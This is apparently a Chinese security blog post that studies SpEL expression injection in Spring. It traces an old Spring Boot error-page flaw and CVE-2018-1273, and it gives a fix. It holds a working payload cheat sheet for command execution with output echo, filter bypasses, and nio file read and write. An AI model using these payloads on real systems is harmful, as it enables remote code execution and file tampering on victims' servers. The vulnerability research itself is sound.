SpEL表示式注入漏洞學習和回顯poc研究

bitterz發表於2021-08-30

前言

主要記載一下SpEL表示式的學習和研究筆記,主要是發現了一個不受限制的回顯表示式,完善了一下基於nio做檔案讀寫的表示式,直接看poc可以跳轉到文章最後。

環境

springboot 2.5.3

springboot 1.2.0.RELEASE

cve-2018-1273: https://github.com/wearearima/poc-cve-2018-1273

jdk 1.8u40

基礎學習和回顯實驗

這一章節主要介紹和記錄一下SpEL的基礎語法,然後探索一下SpEL注入實現命令執行後的回顯。

語法基礎

由於tomcat對GET請求中的| {} 等特殊字元存在限制(RFC 3986),所以使用POST方法傳遞引數,controller程式碼如下

@Controller
@RequestMapping("test")
public class TestController {
    @ResponseBody
    @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
    public String index(String string) throws IOException {
        SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
        Expression expression = spelExpressionParser.parseExpression(string);
        String out = (String) expression.getValue();
        out = out.concat(" get");
        return out;
    }
}

由於getValue中沒有傳入引數,所以會從預設容器,也就是spring容器:ApplicationContext中獲取;如果給定了容器,則會向具體的容器中獲取。簡單的實驗環境就搭起來了,然後試試常用的SpEL語法

'aaa',表示字串aaa

T(類名),可以指定使用一個類的類方法
T(java.lang.Runtime).getRuntime().exec("calc")

這裡後端會執行語句,然後由於型別轉換問題出現報錯,所以沒有返回值,springboot丟擲空白頁和500,但是計算器依然彈出。

new 類名,可以直接new一個物件,再執行其中的方法

可見直接new一個物件執行其中的方法,殺傷力極大!需要注意的是,類名最好用全限類名,也就是具體到某個包,不然會因為找不到具體類而報錯。

#{…} 用於執行SpEl表示式,並將內容賦值給屬性
${…} 主要用於載入外部屬性檔案中的值

兩者還可以混合使用,但需要注意的是{}中的內容必須符合SpEL表示式。這裡需要換一下SpEL的寫法,否則會因為沒有使用模板解析表示式,在傳入#{後出現報錯。

@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
    SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
    TemplateParserContext templateParserContext = new TemplateParserContext();
    Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
    Integer out = (Integer) expression.getValue();
    return Integer.toString(out);
}

現在可以使用#{}和${}了

然後就是SpEL表示式通過xml配置和註解的使用,這裡就不詳細記錄了,文件很多,我們常用的攻擊方法也不會涉及到這一步。

回顯實驗

前面可以看到,通過SpEL可以執行系統命令,那麼如何在一行SpEL語句中獲得命令執行的回顯呢?看了一下網上大佬們的思路,見http://rui0.cn/archives/1043

  • 使用commons-io這個元件實現回顯,這種方式會受限於目標伺服器是否存在這個元件,springboot預設環境下都沒有用到這個元件。。
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
  • 使用jdk>=9中的JShell,這種方式會受限於jdk的版本問題
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

難道jdk原生的類沒有辦法實現回顯的輸出嗎?我找了,還真有

BufferedReader

直接給payload

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

原理很簡單,就不多介紹了,這種方式缺點也很明顯,只能讀取一行,如果執行dir ./命令就涼了,但單行輸出還是可以用的

Scanner

payload如下

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

原理在於Scanner#useDelimiter方法使用指定的字串分割輸出,所以這裡給一個亂七八糟的字串即可,就會讓所有的字元都在第一行,然後執行next方法即可獲得所有輸出。就是稍微難看了點:)

SpEL漏洞復現

首先時低版本下springboot中的錯誤處理導致的SpEL漏洞

低版本SpringBoot中IllegalStateException

影響版本:

  • 1.1.0-1.1.12
  • 1.2.0-1.2.7
  • 1.3.0

修改pom.xml中的配置

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>1.2.0.RELEASE</version>
    <relativePath/> <!-- lookup parent from repository -->
</parent>

再改一下controller

@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
	throw new IllegalStateException(string);
}

post傳入SpEL表示式:

可見直接解析了資料,再來試試其它payload呢

很奇怪,表示式沒什麼問題,居然報錯了,而且還不是springboot的報錯頁面。顯然需要跟進springboot中的原始碼,看看發生了什麼。剛剛的輸入產生的報錯呼叫棧如下:

org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
省略下方tomcat呼叫棧

可以看到,丟擲報錯之後,會從控制器dispatcherServlet捕獲到程式丟擲錯誤,從其doDispatch方法呼叫到其reder方法,那我們在render方法中打個斷點往下除錯一下,看看發生了什麼

render方法中,會先獲取View物件,實際獲取到的是spring中自動處理錯誤的view物件(ErrorMvcAutoConfiguration$SpelView),看類名也就知道其大概意思了,也就是返回報錯情況下的試圖。跟進一下view.render方法

這裡的邏輯也比較簡單,繼續跟進replacePlaceholders方法

public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
		Assert.notNull(value, "'value' must not be null");
		return parseStringValue(value, placeholderResolver, new HashSet<String>());
	}

程式碼比較簡單就不截圖了,可見又呼叫了paseStringValue方法,繼續跟進paseStringValue方法,就會看到重點邏輯了

再看看strVal

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>

這裡需要注意末尾有個message,它就是前面的報錯內容。這裡的邏輯是在返回的頁面內容找到${,這一步其實就是為了找到需要替換的位置,為替換成後面的引數做準備,然後進入while迴圈,這裡意思也很明顯,找到了需要替換的位置,然後把具體的值替換到result中。 而result是StringBuilder類,所以替換其中的字串自然要用replace方法,那我們從replace倒推一下就好了。很方便就可以找到具體的值propVal是從palaceholderResovler.resolvePlaceholder中獲取的,先跟進一下resolvePlaceholder方法

直接可以看到我們熟悉的SpEL表示式,而從context中獲取message,也就是我們的輸入,然後使用HtmlUtils.htmlEscape這個靜態方法進行過濾,跟進一下這個方法

可以看到這個方法的邏輯是遍歷每個字元,然後根據convertToReference方法進行替換,講替換後的字元新增到最後的輸出中。繼續跟進一下convertToReference方法

該方法對普通的單雙引號、尖括號和&進行了替換,然後對特殊的char也進行了一定的替換,這類就不具體看了。回到我們前面的message獲取

這裡可以看到replace前,再執行了一次parseStringValue方法,而我們傳入的引數變成了${new java.lang.ProcessBuilder(&quot;calc&quot;).start()}很明顯雙引號被編碼了,由於parseStringValue是根據${來找SpEL表示式的,所以傳入#{會無效。進入resolvePlaceholder方法時,引數就變成了new java.lang.ProcessBuilder(&quot;calc&quot;).start()

由於雙引號被編碼,出現了&(SpEL中不允許的字元),所以直接表示式無法被執行。到這裡就解開了前面那個payload無效的原因。

到這裡不僅搞清楚低版本springboot丟擲異常時,可能會被SpEL注入攻擊的原理,也找到了payload被過濾的具體方式。下面來繞過一下就好了

因為不能出現單雙引號,所以藉助一些String類的特性,可以傳入byte陣列,payload如下:

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

如果直接傳入#{xx},或者new xxx並不會執行SpEL,原理前面也從原始碼中看到了。

防禦或修復方案

升級springboot版本即可,在高版本中,處理傳入的引數時,不會迴圈根據${}去找值,也就避免了利用message獲取到丟擲的錯誤內容後,將內容再根據${}取得其中的值丟給SpEL執行,從而消除了這種威脅。

CVE-2018-1273 Spring Data Commons RCE

測試環境https://github.com/wearearima/poc-cve-2018-1273

POC: curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

用hackbar打一下這個poc

彈出計算器,從IDEA裡面看呼叫棧如下

org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
at org.springframework.core.convert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.core.convert.support.GenericConversionService.convert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.support.StandardTypeConverter.convertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ExpressionState.convertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
下面太長省略了

可以看到,SpEL的觸發是從spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue開始的,那我們找到這裡的原始碼,看看具體咋回事

可以看到具體操作是使用PARSER.parseExpression(propertyName),然後使用expression.setValue(context, value)觸發SpEL注入,也就是說這裡先對引數中給的key->value對中的key進行SpEL解析,最終造成SpEL注入。那麼這種引數設定或繫結是如何觸發的呢?

回溯呼叫棧可以看到這裡是data-commons這個包設定的自動化引數繫結,將引數的key->value傳了進去,然後到達前面的SpEL注入攻擊觸發點。

SpEL變形和bypass的tips

原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

bypass

  • 反射呼叫
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文環境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射呼叫+字串拼接,繞過正則過濾
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文環境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
  • 繞過getClass(過濾
''.getClass 替換為 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

需要注意,這裡的14可能需要替換為15,不同jdk版本的序號不同

  • url編碼繞過
// 當執行的系統命令被過濾或者被URL編碼掉時,可以通過String類動態生成字元
// byte陣列內容的生成後面有指令碼
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char轉字串,再字串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
  • JavaScript引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
  • JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
  • JavaScript+URL編碼
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
  • Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

以下tips來自https://landgrey.me/blog/15/

  • 繞過T( 過濾
T%00(new)
這涉及到SpEL對字元的編碼,%00會被直接替換為空
  • 使用Spring工具類反序列化,繞過new關鍵字
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以結合CC鏈食用
  • 使用Spring工具類執行自定義類的靜態程式碼塊
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

需要在自定義類寫靜態程式碼塊 static{}

讀寫檔案和回顯

  • 無版本限制回顯
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

在這個思路上,可以對new、ProcessBuilder等關鍵字使用反射繞過

  • nio 讀檔案
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
  • nio 寫檔案
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

參考

bypass openrasp SpEL RCE 的過程及思考

SPEL表示式注入-入門篇

由淺入深SpEL表示式注入漏洞

相關文章